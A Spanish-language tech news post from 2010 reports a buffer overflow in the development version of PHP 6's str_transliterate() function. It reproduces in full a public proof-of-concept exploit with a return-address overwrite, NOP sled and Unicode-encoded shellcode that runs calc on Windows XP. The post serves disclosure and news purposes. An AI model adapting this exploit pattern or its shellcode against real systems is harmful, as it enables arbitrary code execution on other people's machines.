Cargando la página...

Se descubre un buffer overflow en la versión de desarrollo de PHP6

Publicado el 08 de mayo de 2010 por André Karell Contreras Jiménez.

La verdad es que PHP6 todavía está en desarrollo y siempre es mejor que encuentren fallos críticos como este, un desbordamiento del buffer que permite al atacante ejecutar cualquier aplicación (o código arbitrario) en el ordenador que lance el código malicioso.

La funcion str_transliterate() es la encargada de traducir un texto de un lenguaje a otro (para entendernos), pero nativamente no valida los parámetros de entrada permitiendo así la ejecución de código malicioso utilizando el famoso fallo de buffer overflow.

Por si algún curioso quiere probar el fallo, en DragonJar tenemos una PdC (Prueba de Concepto, Proof of Concept en anglosajón) que ha sido sacada y probada por los chicos de NullByte:


# Title: PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit # EDB-ID: 12051 # CVE-ID: () # OSVDB-ID: () # Author: Pr0T3cT10n # Published: 2010-04-04 # Verified: yes # Download Exploit Code # Download Vulnerable app



error_reporting(0);
#####################################################################
## PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit
## Tested on WIN XP HEB SP3, Apache, PHP 6.0 Dev
## Buffer Overflow
## Bug discovered by Pr0T3cT10n,
## Exploited by TheLeader, Debug
## SP. Thanks: HDM
## http://www.nullbyte.org.il
#####################################################################
## This code should exploits a buffer overflow in the str_transliterate() function to call WinExec and execute CALC
## Take a look, 'unicode.semantics' has to be on!
## php.ini > unicode.semantics = on
#####################################################################
if(ini_get_bool('unicode.semantics')) {
$buff = str_repeat("u4141", 256);
$eip = "u1445u10A9"; # 0x10A91445 JMP ESP @ php6ts.dll
$nops = str_repeat("u9090", 20);

# WinExec Calc XP SP3 HEB Unicode-encoded shellcode
$shellcode = "u02EBu05EBuF9E8uFFFFu33FFu5BC0u4388u8315u11C3uBB53u250Du7C86uD3FFu6163u636Cu414E";

# WinExec Calc XP SP3 EN Unicode-encoded shellcode (added by muts)
# $shellcode = "u02EBu05EBuF9E8uFFFFu33FFu5BC0u4388u8315u11C3uBB53u23ADu7C86uD3FFu6163u636Cu414E";

$exploit = $buff.$eip.$nops.$shellcode;
str_transliterate(0, $exploit, 0);
} else {
exit("Error! 'unicode.semantics' has be on!rn");
}

function ini_get_bool($a) {
$b = ini_get($a);
switch (strtolower($b)) {
case 'on':
case 'yes':
case 'true':
return 'assert.active' !== $a;
case 'stdout':
case 'stderr':
return 'display_errors' === $a;
default:
return (bool) (int) $b;
}
}
?>

Poca explicación necesita para los que dominen algo el lenguaje, si necesitáis alguna explicación, preguntad sin vergüenza. Aunque la prueba funciona sólo para Windows XP, ya me parece bastante grave. De todas formas, y para no alarma, repito que es una versión en desarrollo y ahora que ha salido a la luz el error, seguro que lo arreglarán.

Noticias relacionadas

27 de abril de 2010 - Microsoft habla de la falta de soporte para Windows XP en la Wave 4
24 de noviembre de 2009 - Firefox consume demasiados recursos y Mozilla lo sabe
17 de junio de 2009 - Volver a XP desde Windows 7, sólo durante tiempo limitado

Comentarios

No hay comentarios para listar, si desea puede crear el primer comentario a esta portada.


Publique un comentario

Para publicar comentarios debe estar identificado.
Si aún no dispone de una cuenta de usuario puede crearla usted mismo de forma gratuita.